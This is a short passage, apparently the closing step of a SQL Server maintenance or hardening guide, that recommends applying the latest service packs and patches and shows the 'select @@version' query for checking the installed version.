The final step is to ensure that the latest service packs and patches are applied. The current version of SQL Server is displayed.

select @@version


Reference link